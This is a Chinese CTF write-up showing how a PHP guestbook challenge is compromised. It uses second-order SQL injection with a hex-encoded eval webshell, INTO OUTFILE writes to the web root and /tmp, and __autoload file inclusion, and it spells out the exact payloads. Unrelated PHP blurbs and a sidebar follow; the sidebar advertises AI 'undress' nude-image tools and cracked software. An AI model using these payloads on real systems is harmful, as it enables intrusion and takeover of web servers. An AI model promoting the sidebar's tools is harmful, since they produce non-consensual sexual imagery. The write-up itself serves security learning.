首先想说这是我见过的最绕的题目了,不得不说出题人的思路太猥琐。
首先在访问http://8ed0a7d1a5ed5b5ac.jie.sangebaimao.com/sangebaomao.zip得到源码。根据tips是二次注入还要getshell。看着就带劲。
一、 先看看文件吧
其中include.php做了为全局,而且GET、POST、COOKIE 用了addslashes转义,所以基本不能通过一次注入来货的shell,除非有些入库的变量没有单引号包裹。
看看main.php有个25行
其中的limit后面的$num是来自 $_SESSION['limit'], 追溯$_SESSION['limit']最终来自的是用户注册,因为limit之后是可以执行into outfile的。这也算是一个知识点吧。所以我们能够通过注册的limit来控制写入的路径,那怎么控制写入的内容呢。很明显。我们只有从name 和 message字段下手。追溯这两个字段的来源。
name字段是由注册的时候nickname参数的先存入数据库,然后再查询出来的。 追溯到注册的代码才发现 $name 被 htmlspecialchars() 实体化了, 所以 name 是不能直接引入
后来玉林嘎大牛提醒,用 0x, 他一说0x, 我马上反应过来再找个二次注入,让 message字段 入库的时候以 16 进制写进数据库,只要是没有单引号包裹的 16 进制最后入库都会还原成原本的字符串。
解开这个结的就是main.php中的 18 行的 sql 语句。
在这个 inster 语句中, $name 是注册的时候可控的。所以我们如果注册的时候,我把 name 注册成这样 aa ’ ,0x3c3f70687020406576616c28245f504f53545b615d293b3f3e)#
其中 16 进制是一句话的 hex 编码。这样的话 我们执行 insert into guestbook(`uid`,`name`, `message`) values('".$uid."','".$name."','".$message."') 的时候真正的数据库代码是 如下图的
# 之后的被注释, 0x3c3f70687020406576616c28245f504f53545b615d293b3f3e 就是字段 message 的值,而且是没有单引号包裹的。所以当我们执行了 insert 操作之后。m essage 字段的值就是 了 ,那么当执行 select 操作语句的时候, message 是从数据库查询出来的所以不会被实体化,因此就可以 getshell 啦。听着是不是觉得好绕啊。
二、
那么来讲是实现过程
Username password 填写正常。
nikname 填写 aa',0x3c3f70687020406576616c28245f504f53545b615d293b3f3e)#
limit 填写 10 into outfile 'd:/www/answer.php'
然后登陆,在留言板处 随便留一句。
来监控数据库看看 ,SQL 语句完美执行
来看看写入的文件,完美写入网站根目录
三、
到这里这里你觉得就 oK 了吗,然而并不是,最好玩的才刚开始。我在三个白帽的服务器上测试的时候怎么也写不进,然后去问了出题人是不是 web 目录不可写然后得到了答案不可写。
而且还提示要利用代码里面的 _autoload 函数的特性。后来去搜了搜特性,发现这是一个注册类的函数,在没有给定处理用函数数的情况下当你去实例化类的时候,就会直接包含目录下的与类名相同的 .php 文件或者是 .inc 文件。其实说简单点,就是这个函数可以包含文件。
然后我就去看了看题目的源代码,看在哪里调用了 _autoload 这个函数,这个函数是写在 include.php 中的,然后被 ini.php 包含 ,int.php 再然后被 main.phph 包含 在 main.php 中有一个类的实例化的操作
可以看到类名是 $action ,而 $action 是我们控的。看到这里,我的思路就明了啦。我们往一个可写目录写一个 php 文件,然后我们再把这个文件的完整目录和文件名传给 $action, 那么当 php 去实例化这个 $action 这个类的时候。就会自动包含我们穿上去的文件,那么我们就通过文件包含 getshell 啦。因为是 linux 的服务器,所以 /tmp 目录应该是可写的。所以真正的 palyload 出来了
nicknmae : 填成了 aa',0x3c3f70687020706870696e666f28293b3f3e)# 这是 phpinfo 的 16 进制,因为这样写的话可以很清楚的看到包含成功没有
Limit : 10 into outfile '/tmp/answer.php'
然后登陆,随便发表评论。
最后访问 xxx.com/main.php?action=/tmp/answer
成功执行代码
那么可以就可以把 phpinfo 换成一句话写进去,此处有一个坑,就是必须在登录情况下才能访问到 shell 。如果你用菜刀的话,还要想办法带着 session 。所以我就直接写成了 ,用火狐去发包 。
然后成功翻到flag
后记:只能说出题人太猥琐,而且确实太绕啦。不过确实很有趣,二次注入写shell加上利用特性,简直是极致。

PHP在电子商务、内容管理系统和API开发中广泛应用。1)电子商务:用于购物车功能和支付处理。2)内容管理系统:用于动态内容生成和用户管理。3)API开发:用于RESTfulAPI开发和API安全性。通过性能优化和最佳实践,PHP应用的效率和可维护性得以提升。

PHP可以轻松创建互动网页内容。1)通过嵌入HTML动态生成内容,根据用户输入或数据库数据实时展示。2)处理表单提交并生成动态输出,确保使用htmlspecialchars防XSS。3)结合MySQL创建用户注册系统,使用password_hash和预处理语句增强安全性。掌握这些技巧将提升Web开发效率。

PHP和Python各有优势,选择依据项目需求。1.PHP适合web开发,尤其快速开发和维护网站。2.Python适用于数据科学、机器学习和人工智能,语法简洁,适合初学者。

PHP仍然具有活力,其在现代编程领域中依然占据重要地位。1)PHP的简单易学和强大社区支持使其在Web开发中广泛应用;2)其灵活性和稳定性使其在处理Web表单、数据库操作和文件处理等方面表现出色;3)PHP不断进化和优化,适用于初学者和经验丰富的开发者。

PHP在现代Web开发中仍然重要,尤其在内容管理和电子商务平台。1)PHP拥有丰富的生态系统和强大框架支持,如Laravel和Symfony。2)性能优化可通过OPcache和Nginx实现。3)PHP8.0引入JIT编译器,提升性能。4)云原生应用通过Docker和Kubernetes部署,提高灵活性和可扩展性。

PHP适合web开发,特别是在快速开发和处理动态内容方面表现出色,但不擅长数据科学和企业级应用。与Python相比,PHP在web开发中更具优势,但在数据科学领域不如Python;与Java相比,PHP在企业级应用中表现较差,但在web开发中更灵活;与JavaScript相比,PHP在后端开发中更简洁,但在前端开发中不如JavaScript。

PHP和Python各有优势,适合不同场景。1.PHP适用于web开发,提供内置web服务器和丰富函数库。2.Python适合数据科学和机器学习,语法简洁且有强大标准库。选择时应根据项目需求决定。

PHP是一种广泛应用于服务器端的脚本语言,特别适合web开发。1.PHP可以嵌入HTML,处理HTTP请求和响应,支持多种数据库。2.PHP用于生成动态网页内容,处理表单数据,访问数据库等,具有强大的社区支持和开源资源。3.PHP是解释型语言,执行过程包括词法分析、语法分析、编译和执行。4.PHP可以与MySQL结合用于用户注册系统等高级应用。5.调试PHP时,可使用error_reporting()和var_dump()等函数。6.优化PHP代码可通过缓存机制、优化数据库查询和使用内置函数。7


热AI工具

Undresser.AI Undress
人工智能驱动的应用程序,用于创建逼真的裸体照片

AI Clothes Remover
用于从照片中去除衣服的在线人工智能工具。

Undress AI Tool
免费脱衣服图片

Clothoff.io
AI脱衣机

AI Hentai Generator
免费生成ai无尽的。

热门文章

热工具

SublimeText3汉化版
中文版,非常好用

SublimeText3 Mac版
神级代码编辑软件(SublimeText3)

适用于 Eclipse 的 SAP NetWeaver 服务器适配器
将Eclipse与SAP NetWeaver应用服务器集成。

EditPlus 中文破解版
体积小,语法高亮,不支持代码提示功能

DVWA
Damn Vulnerable Web App (DVWA) 是一个PHP/MySQL的Web应用程序,非常容易受到攻击。它的主要目标是成为安全专业人员在合法环境中测试自己的技能和工具的辅助工具,帮助Web开发人员更好地理解保护Web应用程序的过程,并帮助教师/学生在课堂环境中教授/学习Web应用程序安全。DVWA的目标是通过简单直接的界面练习一些最常见的Web漏洞,难度各不相同。请注意,该软件中